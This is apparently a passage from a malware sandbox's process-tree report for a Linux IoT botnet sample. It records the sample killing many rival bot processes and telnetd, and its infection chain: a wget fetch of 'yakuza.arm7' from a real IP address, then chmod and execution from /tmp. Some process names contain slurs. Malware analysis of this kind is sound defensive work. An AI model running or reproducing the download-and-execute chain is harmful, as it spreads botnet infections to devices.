-
/bin/shsh -c "pkill -9 ekjheory98e || busybox pkill -9 ekjheory98e"3⤵PID:925
-
/usr/bin/pkillpkill -9 ekjheory98e4⤵PID:927
-
-
/bin/busyboxbusybox pkill -9 ekjheory98e4⤵PID:929
-
-
-
/bin/shsh -c "pkill -9 scansh4 || busybox pkill -9 scansh4"3⤵PID:937
-
/usr/bin/pkillpkill -9 scansh44⤵PID:939
-
-
/bin/busyboxbusybox pkill -9 scansh44⤵PID:941
-
-
-
/bin/shsh -c "pkill -9 MDMA || busybox pkill -9 MDMA"3⤵PID:949
-
/usr/bin/pkillpkill -9 MDMA4⤵
- Reads CPU attributes
PID:950
-
-
/bin/busyboxbusybox pkill -9 MDMA4⤵PID:954
-
-
-
/bin/shsh -c "pkill -9 fdevalvex || busybox pkill -9 fdevalvex"3⤵PID:961
-
/usr/bin/pkillpkill -9 fdevalvex4⤵PID:962
-
-
/bin/busyboxbusybox pkill -9 fdevalvex4⤵PID:967
-
-
-
/bin/shsh -c "pkill -9 scanspc || busybox pkill -9 scanspc"3⤵PID:974
-
/usr/bin/pkillpkill -9 scanspc4⤵
- Reads runtime system information
PID:975
-
-
/bin/busyboxbusybox pkill -9 scanspc4⤵PID:979
-
-
-
/bin/shsh -c "pkill -9 MELTEDNINJAREALZ || busybox pkill -9 MELTEDNINJAREALZ"3⤵PID:989
-
/usr/bin/pkillpkill -9 MELTEDNINJAREALZ4⤵
- Reads CPU attributes
PID:991
-
-
/bin/busyboxbusybox pkill -9 MELTEDNINJAREALZ4⤵PID:994
-
-
-
/bin/shsh -c "pkill -9 flexsonskids || busybox pkill -9 flexsonskids"3⤵PID:1002
-
/usr/bin/pkillpkill -9 flexsonskids4⤵PID:1005
-
-
/bin/busyboxbusybox pkill -9 flexsonskids4⤵PID:1008
-
-
-
/bin/shsh -c "pkill -9 scanx86 || busybox pkill -9 scanx86"3⤵PID:1016
-
/usr/bin/pkillpkill -9 scanx864⤵PID:1017
-
-
/bin/busyboxbusybox pkill -9 scanx864⤵PID:1020
-
-
-
/bin/shsh -c "pkill -9 MISAKI-U79OL || busybox pkill -9 MISAKI-U79OL"3⤵PID:1028
-
/usr/bin/pkillpkill -9 MISAKI-U79OL4⤵PID:1029
-
-
/bin/busyboxbusybox pkill -9 MISAKI-U79OL4⤵PID:1033
-
-
-
/bin/shsh -c "pkill -9 foAxi102kxe || busybox pkill -9 foAxi102kxe"3⤵PID:1040
-
/usr/bin/pkillpkill -9 foAxi102kxe4⤵
- Reads CPU attributes
PID:1042
-
-
/bin/busyboxbusybox pkill -9 foAxi102kxe4⤵PID:1044
-
-
-
/bin/shsh -c "pkill -9 swodjwodjwoj || busybox pkill -9 swodjwodjwoj"3⤵PID:1052
-
/usr/bin/pkillpkill -9 swodjwodjwoj4⤵PID:1053
-
-
/bin/busyboxbusybox pkill -9 swodjwodjwoj4⤵PID:1056
-
-
-
/bin/shsh -c "pkill -9 MmKiy7f87l || busybox pkill -9 MmKiy7f87l"3⤵PID:1064
-
/usr/bin/pkillpkill -9 MmKiy7f87l4⤵
- Reads CPU attributes
PID:1065
-
-
/bin/busyboxbusybox pkill -9 MmKiy7f87l4⤵PID:1069
-
-
-
/bin/shsh -c "pkill -9 freecookiex86 || busybox pkill -9 freecookiex86"3⤵PID:1077
-
/usr/bin/pkillpkill -9 freecookiex864⤵PID:1079
-
-
/bin/busyboxbusybox pkill -9 freecookiex864⤵PID:1082
-
-
-
/bin/shsh -c "pkill -9 sysgpu || busybox pkill -9 sysgpu"3⤵PID:1090
-
/usr/bin/pkillpkill -9 sysgpu4⤵PID:1091
-
-
/bin/busyboxbusybox pkill -9 sysgpu4⤵PID:1095
-
-
-
/bin/shsh -c "pkill -9 NiGGeR69xd || busybox pkill -9 NiGGeR69xd"3⤵PID:1103
-
/usr/bin/pkillpkill -9 NiGGeR69xd4⤵PID:1105
-
-
/bin/busyboxbusybox pkill -9 NiGGeR69xd4⤵PID:1112
-
-
-
/bin/shsh -c "pkill -9 frgege || busybox pkill -9 frgege"3⤵PID:1117
-
/usr/bin/pkillpkill -9 frgege4⤵PID:1118
-
-
/bin/busyboxbusybox pkill -9 frgege4⤵PID:1123
-
-
-
/bin/shsh -c "pkill -9 sysupdater || busybox pkill -9 sysupdater"3⤵PID:1129
-
/usr/bin/pkillpkill -9 sysupdater4⤵PID:1130
-
-
/bin/busyboxbusybox pkill -9 sysupdater4⤵PID:1134
-
-
-
/bin/shsh -c "pkill -9 0DnAzepd || busybox pkill -9 0DnAzepd"3⤵PID:1141
-
/usr/bin/pkillpkill -9 0DnAzepd4⤵
- Reads CPU attributes
PID:1142
-
-
/bin/busyboxbusybox pkill -9 0DnAzepd4⤵PID:1143
-
-
-
/bin/shsh -c "pkill -9 NiGGeRD0nks69 || busybox pkill -9 NiGGeRD0nks69"3⤵PID:1153
-
/usr/bin/pkillpkill -9 NiGGeRD0nks694⤵PID:1154
-
-
/bin/busyboxbusybox pkill -9 NiGGeRD0nks694⤵PID:1155
-
-
-
/bin/shsh -c "pkill -9 frgreu || busybox pkill -9 frgreu"3⤵PID:1165
-
/usr/bin/pkillpkill -9 frgreu4⤵PID:1166
-
-
/bin/busyboxbusybox pkill -9 frgreu4⤵PID:1167
-
-
-
/bin/shsh -c "pkill -9 telnetd || busybox pkill -9 telnetd"3⤵PID:1177
-
/usr/bin/pkillpkill -9 telnetd4⤵
- Reads CPU attributes
PID:1178
-
-
/bin/busyboxbusybox pkill -9 telnetd4⤵PID:1179
-
-
-
/bin/shsh -c "pkill -9 0x766f6964 || busybox pkill -9 0x766f6964"3⤵PID:1189
-
/usr/bin/pkillpkill -9 0x766f69644⤵PID:1190
-
-
/bin/busyboxbusybox pkill -9 0x766f69644⤵PID:1191
-
-
-
/bin/shsh -c "pkill -9 NiGGeRd0nks1337 || busybox pkill -9 NiGGeRd0nks1337"3⤵PID:1201
-
/usr/bin/pkillpkill -9 NiGGeRd0nks13374⤵PID:1202
-
-
/bin/busyboxbusybox pkill -9 NiGGeRd0nks13374⤵PID:1203
-
-
-
/bin/shsh -c "pkill -9 gaft || busybox pkill -9 gaft"3⤵PID:1213
-
/usr/bin/pkillpkill -9 gaft4⤵
- Reads CPU attributes
PID:1214
-
-
/bin/busyboxbusybox pkill -9 gaft4⤵PID:1216
-
-
-
/bin/shsh -c "pkill -9 urasgbsigboa || busybox pkill -9 urasgbsigboa"3⤵PID:1227
-
/usr/bin/pkillpkill -9 urasgbsigboa4⤵
- Reads CPU attributes
PID:1228
-
-
/bin/busyboxbusybox pkill -9 urasgbsigboa4⤵PID:1229
-
-
-
/bin/shsh -c "pkill -9 120i3UI49 || busybox pkill -9 120i3UI49"3⤵PID:1239
-
/usr/bin/pkillpkill -9 120i3UI494⤵
- Reads CPU attributes
PID:1240
-
-
/bin/busyboxbusybox pkill -9 120i3UI494⤵PID:1241
-
-
-
/bin/shsh -c "pkill -9 OaF3 || busybox pkill -9 OaF3"3⤵PID:1251
-
/usr/bin/pkillpkill -9 OaF34⤵PID:1252
-
-
/bin/busyboxbusybox pkill -9 OaF34⤵PID:1253
-
-
-
/bin/shsh -c "pkill -9 geae || busybox pkill -9 geae"3⤵PID:1263
-
/usr/bin/pkillpkill -9 geae4⤵
- Reads CPU attributes
PID:1264
-
-
/bin/busyboxbusybox pkill -9 geae4⤵PID:1265
-
-
-
/bin/shsh -c "pkill -9 vaiolmao || busybox pkill -9 vaiolmao"3⤵PID:1275
-
/usr/bin/pkillpkill -9 vaiolmao4⤵PID:1276
-
-
/bin/busyboxbusybox pkill -9 vaiolmao4⤵PID:1277
-
-
-
/bin/shsh -c "pkill -9 123123a || busybox pkill -9 123123a"3⤵PID:1287
-
/usr/bin/pkillpkill -9 123123a4⤵PID:1288
-
-
/bin/busyboxbusybox pkill -9 123123a4⤵PID:1289
-
-
-
/bin/shsh -c "pkill -9 Ofurain0n4H34D || busybox pkill -9 Ofurain0n4H34D"3⤵PID:1299
-
/usr/bin/pkillpkill -9 Ofurain0n4H34D4⤵PID:1300
-
-
/bin/busyboxbusybox pkill -9 Ofurain0n4H34D4⤵PID:1301
-
-
-
/bin/shsh -c "pkill -9 ggTrex || busybox pkill -9 ggTrex"3⤵PID:1311
-
/usr/bin/pkillpkill -9 ggTrex4⤵PID:1312
-
-
/bin/busyboxbusybox pkill -9 ggTrex4⤵PID:1313
-
-
-
/bin/shsh -c "pkill -9 wasads || busybox pkill -9 wasads"3⤵PID:1323
-
/usr/bin/pkillpkill -9 wasads4⤵PID:1324
-
-
/bin/busyboxbusybox pkill -9 wasads4⤵PID:1325
-
-
-
/bin/shsh -c "pkill -9 1293194hjXD || busybox pkill -9 1293194hjXD"3⤵PID:1337
-
/usr/bin/pkillpkill -9 1293194hjXD4⤵PID:1338
-
-
/bin/busyboxbusybox pkill -9 1293194hjXD4⤵PID:1339
-
-
-
/bin/shsh -c "pkill -9 OthLaLosn || busybox pkill -9 OthLaLosn"3⤵PID:1349
-
/usr/bin/pkillpkill -9 OthLaLosn4⤵PID:1350
-
-
/bin/busyboxbusybox pkill -9 OthLaLosn4⤵PID:1351
-
-
-
/bin/shsh -c "pkill -9 ggt || busybox pkill -9 ggt"3⤵PID:1361
-
/usr/bin/pkillpkill -9 ggt4⤵PID:1362
-
-
/bin/busyboxbusybox pkill -9 ggt4⤵PID:1363
-
-
-
/bin/shsh -c "pkill -9 wget-log || busybox pkill -9 wget-log"3⤵PID:1373
-
/usr/bin/pkillpkill -9 wget-log4⤵PID:1374
-
-
/bin/busyboxbusybox pkill -9 wget-log4⤵PID:1375
-
-
-
/bin/shsh -c "pkill -9 1337SoraLOADER || busybox pkill -9 1337SoraLOADER"3⤵PID:1385
-
/usr/bin/pkillpkill -9 1337SoraLOADER4⤵
- Reads runtime system information
PID:1386
-
-
/bin/busyboxbusybox pkill -9 1337SoraLOADER4⤵PID:1387
-
-
-
/bin/shsh -c "pkill -9 SAIAKINA || busybox pkill -9 SAIAKINA"3⤵PID:1396
-
/usr/bin/pkillpkill -9 SAIAKINA4⤵PID:1397
-
-
/bin/busyboxbusybox pkill -9 SAIAKINA4⤵PID:1399
-
-
-
/bin/shsh -c "pkill -9 ggtq || busybox pkill -9 ggtq"3⤵PID:1409
-
/usr/bin/pkillpkill -9 ggtq4⤵
- Reads CPU attributes
PID:1410
-
-
/bin/busyboxbusybox pkill -9 ggtq4⤵PID:1411
-
-
-
/bin/shsh -c "pkill -9 1378bfp919GRB1Q2 || busybox pkill -9 1378bfp919GRB1Q2"3⤵PID:1421
-
/usr/bin/pkillpkill -9 1378bfp919GRB1Q24⤵
- Reads runtime system information
PID:1422
-
-
/bin/busyboxbusybox pkill -9 1378bfp919GRB1Q24⤵PID:1423
-
-
-
/bin/shsh -c "pkill -9 SAIAKUSO || busybox pkill -9 SAIAKUSO"3⤵PID:1432
-
/usr/bin/pkillpkill -9 SAIAKUSO4⤵PID:1433
-
-
/bin/busyboxbusybox pkill -9 SAIAKUSO4⤵PID:1435
-
-
-
/bin/shsh -c "pkill -9 ggtr || busybox pkill -9 ggtr"3⤵PID:1445
-
/usr/bin/pkillpkill -9 ggtr4⤵PID:1446
-
-
/bin/busyboxbusybox pkill -9 ggtr4⤵PID:1448
-
-
-
/bin/shsh -c "pkill -9 14Fa || busybox pkill -9 14Fa"3⤵PID:1458
-
/usr/bin/pkillpkill -9 14Fa4⤵PID:1459
-
-
/bin/busyboxbusybox pkill -9 14Fa4⤵PID:1461
-
-
-
/bin/shsh -c "pkill -9 SEXSLAVE1337 || busybox pkill -9 SEXSLAVE1337"3⤵PID:1470
-
/usr/bin/pkillpkill -9 SEXSLAVE13374⤵PID:1471
-
-
/bin/busyboxbusybox pkill -9 SEXSLAVE13374⤵PID:1473
-
-
-
/bin/shsh -c "pkill -9 ggtt || busybox pkill -9 ggtt"3⤵PID:1482
-
/usr/bin/pkillpkill -9 ggtt4⤵
- Reads runtime system information
PID:1483
-
-
/bin/busyboxbusybox pkill -9 ggtt4⤵PID:1485
-
-
-
/bin/shsh -c "pkill -9 1902a3u912u3u4 || busybox pkill -9 1902a3u912u3u4"3⤵PID:1494
-
/usr/bin/pkillpkill -9 1902a3u912u3u44⤵PID:1495
-
-
/bin/busyboxbusybox pkill -9 1902a3u912u3u44⤵PID:1497
-
-
-
/bin/shsh -c "pkill -9 SO190Ij1X || busybox pkill -9 SO190Ij1X"3⤵PID:1506
-
/usr/bin/pkillpkill -9 SO190Ij1X4⤵PID:1508
-
-
/bin/busyboxbusybox pkill -9 SO190Ij1X4⤵PID:1509
-
-
-
/bin/shsh -c "pkill -9 haetrghbr || busybox pkill -9 haetrghbr"3⤵PID:1519
-
/usr/bin/pkillpkill -9 haetrghbr4⤵PID:1520
-
-
/bin/busyboxbusybox pkill -9 haetrghbr4⤵PID:1521
-
-
-
/bin/shsh -c "pkill -9 19ju3d || busybox pkill -9 19ju3d"3⤵PID:1531
-
/usr/bin/pkillpkill -9 19ju3d4⤵PID:1532
-
-
/bin/busyboxbusybox pkill -9 19ju3d4⤵PID:1533
-
-
-
/bin/shsh -c "pkill -9 SORAojkf120 || busybox pkill -9 SORAojkf120"3⤵PID:1543
-
/usr/bin/pkillpkill -9 SORAojkf1204⤵PID:1544
-
-
/bin/busyboxbusybox pkill -9 SORAojkf1204⤵PID:1545
-
-
-
/bin/shsh -c "pkill -9 hehahejeje92 || busybox pkill -9 hehahejeje92"3⤵PID:1555
-
/usr/bin/pkillpkill -9 hehahejeje924⤵PID:1556
-
-
/bin/busyboxbusybox pkill -9 hehahejeje924⤵PID:1559
-
-
-
/bin/shsh -c "pkill -9 2U2JDJA901F91 || busybox pkill -9 2U2JDJA901F91"3⤵PID:1569
-
/usr/bin/pkillpkill -9 2U2JDJA901F914⤵PID:1570
-
-
/bin/busyboxbusybox pkill -9 2U2JDJA901F914⤵PID:1571
-
-
-
/bin/shsh -c "pkill -9 SlaVLav12 || busybox pkill -9 SlaVLav12"3⤵PID:1581
-
/usr/bin/pkillpkill -9 SlaVLav124⤵
- Reads runtime system information
PID:1582
-
-
/bin/busyboxbusybox pkill -9 SlaVLav124⤵PID:1583
-
-
-
/bin/shsh -c "pkill -9 helpmedaddthhhhh || busybox pkill -9 helpmedaddthhhhh"3⤵PID:1593
-
/usr/bin/pkillpkill -9 helpmedaddthhhhh4⤵PID:1594
-
-
/bin/busyboxbusybox pkill -9 helpmedaddthhhhh4⤵PID:1596
-
-
-
/bin/shsh -c "pkill -9 2wgg9qphbq || busybox pkill -9 2wgg9qphbq"3⤵PID:1605
-
/usr/bin/pkillpkill -9 2wgg9qphbq4⤵PID:1606
-
-
/bin/busyboxbusybox pkill -9 2wgg9qphbq4⤵PID:1607
-
-
-
/bin/shsh -c "pkill -9 Slav3Th3seD3vices || busybox pkill -9 Slav3Th3seD3vices"3⤵PID:1618
-
/usr/bin/pkillpkill -9 Slav3Th3seD3vices4⤵PID:1619
-
-
/bin/busyboxbusybox pkill -9 Slav3Th3seD3vices4⤵PID:1622
-
-
-
/bin/shsh -c "pkill -9 hzSmYZjYMQ || busybox pkill -9 hzSmYZjYMQ"3⤵PID:1630
-
/usr/bin/pkillpkill -9 hzSmYZjYMQ4⤵PID:1631
-
-
/bin/busyboxbusybox pkill -9 hzSmYZjYMQ4⤵PID:1634
-
-
-
/bin/shsh -c "pkill -9 5Gbf || busybox pkill -9 5Gbf"3⤵PID:1642
-
/usr/bin/pkillpkill -9 5Gbf4⤵
- Reads CPU attributes
PID:1643
-
-
/bin/busyboxbusybox pkill -9 5Gbf4⤵PID:1644
-
-
-
/bin/shsh -c "pkill -9 SoRAxD123LOL || busybox pkill -9 SoRAxD123LOL"3⤵PID:1654
-
/usr/bin/pkillpkill -9 SoRAxD123LOL4⤵PID:1655
-
-
/bin/busyboxbusybox pkill -9 SoRAxD123LOL4⤵PID:1656
-
-
-
/bin/shsh -c "pkill -9 iaGv || busybox pkill -9 iaGv"3⤵PID:1668
-
/usr/bin/pkillpkill -9 iaGv4⤵PID:1669
-
-
/bin/busyboxbusybox pkill -9 iaGv4⤵PID:1670
-
-
-
/bin/shsh -c "pkill -9 5aA3 || busybox pkill -9 5aA3"3⤵PID:1680
-
/usr/bin/pkillpkill -9 5aA34⤵PID:1681
-
-
/bin/busyboxbusybox pkill -9 5aA34⤵PID:1682
-
-
-
/bin/shsh -c "pkill -9 SoRAxD420LOL || busybox pkill -9 SoRAxD420LOL"3⤵PID:1692
-
/usr/bin/pkillpkill -9 SoRAxD420LOL4⤵PID:1693
-
-
/bin/busyboxbusybox pkill -9 SoRAxD420LOL4⤵PID:1694
-
-
-
/bin/shsh -c "pkill -9 insomni || busybox pkill -9 insomni"3⤵PID:1703
-
/usr/bin/pkillpkill -9 insomni4⤵
- Reads runtime system information
PID:1704
-
-
/bin/busyboxbusybox pkill -9 insomni4⤵PID:1706
-
-
-
/bin/shsh -c "pkill -9 640277 || busybox pkill -9 640277"3⤵PID:1714
-
/usr/bin/pkillpkill -9 6402774⤵PID:1716
-
-
/bin/busyboxbusybox pkill -9 6402774⤵PID:1718
-
-
-
/bin/shsh -c "pkill -9 SoraBeReppin1337 || busybox pkill -9 SoraBeReppin1337"3⤵PID:1727
-
/usr/bin/pkillpkill -9 SoraBeReppin13374⤵
- Reads CPU attributes
- Reads runtime system information
PID:1728
-
-
/bin/busyboxbusybox pkill -9 SoraBeReppin13374⤵PID:1730
-
-
-
/bin/shsh -c "pkill -9 ipcamCache || busybox pkill -9 ipcamCache"3⤵
- System Network Configuration Discovery
PID:1737 -
/usr/bin/pkillpkill -9 ipcamCache4⤵
- System Network Configuration Discovery
PID:1740
-
-
/bin/busyboxbusybox pkill -9 ipcamCache4⤵
- System Network Configuration Discovery
PID:1742
-
-
-
/bin/shsh -c "pkill -9 66tlGg9Q || busybox pkill -9 66tlGg9Q"3⤵PID:1749
-
/usr/bin/pkillpkill -9 66tlGg9Q4⤵PID:1751
-
-
/bin/busyboxbusybox pkill -9 66tlGg9Q4⤵PID:1753
-
-
-
/bin/shsh -c "pkill -9 T || busybox pkill -9 T"3⤵PID:1763
-
/usr/bin/pkillpkill -9 T4⤵PID:1766
-
-
/bin/busyboxbusybox pkill -9 T4⤵PID:1767
-
-
-
/bin/shsh -c "pkill -9 jUYfouyf87 || busybox pkill -9 jUYfouyf87"3⤵PID:1775
-
/usr/bin/pkillpkill -9 jUYfouyf874⤵PID:1776
-
-
/bin/busyboxbusybox pkill -9 jUYfouyf874⤵PID:1779
-
-
-
/bin/shsh -c "pkill -9 6ke3 || busybox pkill -9 6ke3"3⤵PID:1787
-
/usr/bin/pkillpkill -9 6ke34⤵PID:1788
-
-
/bin/busyboxbusybox pkill -9 6ke34⤵PID:1792
-
-
-
/bin/shsh -c "pkill -9 TOKYO3 || busybox pkill -9 TOKYO3"3⤵PID:1800
-
/usr/bin/pkillpkill -9 TOKYO34⤵PID:1801
-
-
/bin/busyboxbusybox pkill -9 TOKYO34⤵PID:1803
-
-
-
-
/bin/rmrm -rf yakuza.arm52⤵PID:783
-
-
/usr/bin/wgetwget http://82.57.165.95/yakuza.arm72⤵
- Writes file to tmp directory
PID:789
-
-
/bin/chmodchmod +x yakuza.arm72⤵
- File and Directory Permissions Modification
PID:797
-
-
/tmp/yakuza.arm7./yakuza.arm72⤵PID:799
-
/bin/sh/bin/sh -c "pkill -9 902i13 || busybox pkill -9 902i13"3⤵PID:804
-
/usr/bin/pkillpkill -9 902i134⤵PID:805
-
-
/bin/busyboxbusybox pkill -9 902i134⤵PID:809
-
-
-
/bin/sh/bin/sh -c "pkill -9 BzSxLxBxeY || busybox pkill -9 BzSxLxBxeY"3⤵
- Command and Scripting Interpreter: Unix Shell
PID:826 -
/usr/bin/pkillpkill -9 BzSxLxBxeY4⤵
- Reads CPU attributes
PID:828
-
-
/bin/busyboxbusybox pkill -9 BzSxLxBxeY4⤵PID:833
-
-
-
/bin/sh/bin/sh -c "pkill -9 HOHO-LUGO7 || busybox pkill -9 HOHO-LUGO7"3⤵
- Command and Scripting Interpreter: Unix Shell
PID:839 -
/usr/bin/pkillpkill -9 HOHO-LUGO74⤵PID:840
-
-
/bin/busyboxbusybox pkill -9 HOHO-LUGO74⤵PID:848
-
-
-
/bin/sh/bin/sh -c "pkill -9 HOHO-U79OL || busybox pkill -9 HOHO-U79OL"3⤵
- Command and Scripting Interpreter: Unix Shell
PID:861 -
/usr/bin/pkillpkill -9 HOHO-U79OL4⤵
- Reads CPU attributes
- Reads runtime system information
PID:864
-
-
/bin/busyboxbusybox pkill -9 HOHO-U79OL4⤵PID:870
-
-
-
/bin/sh/bin/sh -c "pkill -9 JuYfouyf87 || busybox pkill -9 JuYfouyf87"3⤵
- Command and Scripting Interpreter: Unix Shell
PID:882 -
/usr/bin/pkillpkill -9 JuYfouyf874⤵
- Reads runtime system information
PID:885
-
-
/bin/busyboxbusybox pkill -9 JuYfouyf874⤵PID:891
-
-
-
/bin/sh/bin/sh -c "pkill -9 NiGGeR69xd || busybox pkill -9 NiGGeR69xd"3⤵
- Command and Scripting Interpreter: Unix Shell
PID:906 -
/usr/bin/pkillpkill -9 NiGGeR69xd4⤵PID:908
-
-
/bin/busyboxbusybox pkill -9 NiGGeR69xd4⤵PID:913
-
-
-
/bin/sh/bin/sh -c "pkill -9 SO190Ij1X || busybox pkill -9 SO190Ij1X"3⤵
- Command and Scripting Interpreter: Unix Shell
PID:920 -
/usr/bin/pkillpkill -9 SO190Ij1X4⤵PID:922
-
-
/bin/busyboxbusybox pkill -9 SO190Ij1X4⤵PID:926
-
-
-
/bin/sh/bin/sh -c "pkill -9 LOLKIKEEEDDE || busybox pkill -9 LOLKIKEEEDDE"3⤵
- Command and Scripting Interpreter: Unix Shell
PID:933 -
/usr/bin/pkillpkill -9 LOLKIKEEEDDE4⤵PID:934
-
-
/bin/busyboxbusybox pkill -9 LOLKIKEEEDDE4⤵PID:938
-
-
-
/bin/sh/bin/sh -c "pkill -9 ekjheory98e || busybox pkill -9 ekjheory98e"3⤵PID:945
-
/usr/bin/pkillpkill -9 ekjheory98e4⤵PID:946
-
-
/bin/busyboxbusybox pkill -9 ekjheory98e4⤵PID:951
-
-
-
/bin/sh/bin/sh -c "pkill -9 scansh4 || busybox pkill -9 scansh4"3⤵PID:957
-
/usr/bin/pkillpkill -9 scansh44⤵PID:958
-
-
/bin/busyboxbusybox pkill -9 scansh44⤵PID:963
-
-
-
/bin/sh/bin/sh -c "pkill -9 MDMA || busybox pkill -9 MDMA"3⤵PID:969
-
/usr/bin/pkillpkill -9 MDMA4⤵PID:970
-
-
/bin/busyboxbusybox pkill -9 MDMA4⤵PID:973
-
-
-
/bin/sh/bin/sh -c "pkill -9 fdevalvex || busybox pkill -9 fdevalvex"3⤵
- Command and Scripting Interpreter: Unix Shell
PID:981 -
/usr/bin/pkillpkill -9 fdevalvex4⤵PID:982
-
-
/bin/busyboxbusybox pkill -9 fdevalvex4⤵PID:988
-
-
-
/bin/sh/bin/sh -c "pkill -9 scanspc || busybox pkill -9 scanspc"3⤵
- Command and Scripting Interpreter: Unix Shell
PID:996 -
/usr/bin/pkillpkill -9 scanspc4⤵PID:997
-
-
/bin/busyboxbusybox pkill -9 scanspc4⤵PID:1000
-
-
-
/bin/sh/bin/sh -c "pkill -9 MELTEDNINJAREALZ || busybox pkill -9 MELTEDNINJAREALZ"3⤵PID:1010
-
/usr/bin/pkillpkill -9 MELTEDNINJAREALZ4⤵
- Reads CPU attributes
PID:1011
-
-
/bin/busyboxbusybox pkill -9 MELTEDNINJAREALZ4⤵PID:1012
-
-
-
/bin/sh/bin/sh -c "pkill -9 flexsonskids || busybox pkill -9 flexsonskids"3⤵
- Command and Scripting Interpreter: Unix Shell
PID:1022 -
/usr/bin/pkillpkill -9 flexsonskids4⤵PID:1023
-
-
/bin/busyboxbusybox pkill -9 flexsonskids4⤵PID:1024
-
-
-
/bin/sh/bin/sh -c "pkill -9 scanx86 || busybox pkill -9 scanx86"3⤵
- Command and Scripting Interpreter: Unix Shell
PID:1034 -
/usr/bin/pkillpkill -9 scanx864⤵PID:1035
-
-
/bin/busyboxbusybox pkill -9 scanx864⤵PID:1036
-
-
-
/bin/sh/bin/sh -c "pkill -9 MISAKI-U79OL || busybox pkill -9 MISAKI-U79OL"3⤵
- Command and Scripting Interpreter: Unix Shell
PID:1046 -
/usr/bin/pkillpkill -9 MISAKI-U79OL4⤵
- Reads CPU attributes
- Reads runtime system information
PID:1047
-
-
/bin/busyboxbusybox pkill -9 MISAKI-U79OL4⤵PID:1048
-
-
-
/bin/sh/bin/sh -c "pkill -9 foAxi102kxe || busybox pkill -9 foAxi102kxe"3⤵
- Command and Scripting Interpreter: Unix Shell
PID:1058 -
/usr/bin/pkillpkill -9 foAxi102kxe4⤵PID:1059
-
-
/bin/busyboxbusybox pkill -9 foAxi102kxe4⤵PID:1060
-
-
-
/bin/sh/bin/sh -c "pkill -9 swodjwodjwoj || busybox pkill -9 swodjwodjwoj"3⤵
- Command and Scripting Interpreter: Unix Shell
PID:1070 -
/usr/bin/pkillpkill -9 swodjwodjwoj4⤵PID:1071
-
-
/bin/busyboxbusybox pkill -9 swodjwodjwoj4⤵PID:1072
-
-
-
/bin/sh/bin/sh -c "pkill -9 MmKiy7f87l || busybox pkill -9 MmKiy7f87l"3⤵PID:1080
-
/usr/bin/pkillpkill -9 MmKiy7f87l4⤵
- Reads CPU attributes
PID:1083
-
-
/bin/busyboxbusybox pkill -9 MmKiy7f87l4⤵PID:1084
-
-
-
/bin/sh/bin/sh -c "pkill -9 freecookiex86 || busybox pkill -9 freecookiex86"3⤵PID:1092
-
/usr/bin/pkillpkill -9 freecookiex864⤵PID:1093
-
-
/bin/busyboxbusybox pkill -9 freecookiex864⤵PID:1096
-
-
-
/bin/sh/bin/sh -c "pkill -9 sysgpu || busybox pkill -9 sysgpu"3⤵PID:1104
-
/usr/bin/pkillpkill -9 sysgpu4⤵PID:1106
-
-
/bin/busyboxbusybox pkill -9 sysgpu4⤵PID:1111
-
-
-
/bin/sh/bin/sh -c "pkill -9 NiGGeR69xd || busybox pkill -9 NiGGeR69xd"3⤵PID:1119
-
/usr/bin/pkillpkill -9 NiGGeR69xd4⤵
- Reads CPU attributes
- Reads runtime system information
PID:1120
-
-
/bin/busyboxbusybox pkill -9 NiGGeR69xd4⤵PID:1125
-
-
-
/bin/sh/bin/sh -c "pkill -9 frgege || busybox pkill -9 frgege"3⤵
- Command and Scripting Interpreter: Unix Shell
PID:1132 -
/usr/bin/pkillpkill -9 frgege4⤵
- Reads CPU attributes
PID:1135
-
-
/bin/busyboxbusybox pkill -9 frgege4⤵PID:1136
-
-
-
/bin/sh/bin/sh -c "pkill -9 sysupdater || busybox pkill -9 sysupdater"3⤵
- Command and Scripting Interpreter: Unix Shell
PID:1144 -
/usr/bin/pkillpkill -9 sysupdater4⤵
- Reads CPU attributes
PID:1146
-
-
/bin/busyboxbusybox pkill -9 sysupdater4⤵PID:1149
-
-
-
/bin/sh/bin/sh -c "pkill -9 0DnAzepd || busybox pkill -9 0DnAzepd"3⤵
- Command and Scripting Interpreter: Unix Shell
PID:1158 -
/usr/bin/pkillpkill -9 0DnAzepd4⤵PID:1159
-
-
/bin/busyboxbusybox pkill -9 0DnAzepd4⤵PID:1161
-
-
-
/bin/sh/bin/sh -c "pkill -9 NiGGeRD0nks69 || busybox pkill -9 NiGGeRD0nks69"3⤵PID:1170
-
/usr/bin/pkillpkill -9 NiGGeRD0nks694⤵
- Reads runtime system information
PID:1171
-
-
/bin/busyboxbusybox pkill -9 NiGGeRD0nks694⤵PID:1172
-
-
-
/bin/sh/bin/sh -c "pkill -9 frgreu || busybox pkill -9 frgreu"3⤵
- Command and Scripting Interpreter: Unix Shell
PID:1180 -
/usr/bin/pkillpkill -9 frgreu4⤵
- Reads runtime system information
PID:1181
-
-
/bin/busyboxbusybox pkill -9 frgreu4⤵PID:1182
-
-
-
/bin/sh/bin/sh -c "pkill -9 telnetd || busybox pkill -9 telnetd"3⤵
- Command and Scripting Interpreter: Unix Shell
PID:1192 -
/usr/bin/pkillpkill -9 telnetd4⤵PID:1193
-
-
/bin/busyboxbusybox pkill -9 telnetd4⤵PID:1194
-
-
-
/bin/sh/bin/sh -c "pkill -9 0x766f6964 || busybox pkill -9 0x766f6964"3⤵
- Command and Scripting Interpreter: Unix Shell
PID:1204 -
/usr/bin/pkillpkill -9 0x766f69644⤵PID:1205
-
-
/bin/busyboxbusybox pkill -9 0x766f69644⤵PID:1206
-
-
-
/bin/sh/bin/sh -c "pkill -9 NiGGeRd0nks1337 || busybox pkill -9 NiGGeRd0nks1337"3⤵
- Command and Scripting Interpreter: Unix Shell
PID:1217 -
/usr/bin/pkillpkill -9 NiGGeRd0nks13374⤵PID:1219
-
-
/bin/busyboxbusybox pkill -9 NiGGeRd0nks13374⤵PID:1220
-
-
-
/bin/sh/bin/sh -c "pkill -9 gaft || busybox pkill -9 gaft"3⤵
- Command and Scripting Interpreter: Unix Shell
PID:1230 -
/usr/bin/pkillpkill -9 gaft4⤵PID:1231
-
-
/bin/busyboxbusybox pkill -9 gaft4⤵PID:1232
-
-
-
/bin/sh/bin/sh -c "pkill -9 urasgbsigboa || busybox pkill -9 urasgbsigboa"3⤵
- Command and Scripting Interpreter: Unix Shell
PID:1242 -
/usr/bin/pkillpkill -9 urasgbsigboa4⤵PID:1243
-
-
/bin/busyboxbusybox pkill -9 urasgbsigboa4⤵PID:1244
-
-
-
/bin/sh/bin/sh -c "pkill -9 120i3UI49 || busybox pkill -9 120i3UI49"3⤵PID:1254
-
/usr/bin/pkillpkill -9 120i3UI494⤵
- Reads runtime system information
PID:1255
-
-
/bin/busyboxbusybox pkill -9 120i3UI494⤵PID:1256
-
-
-
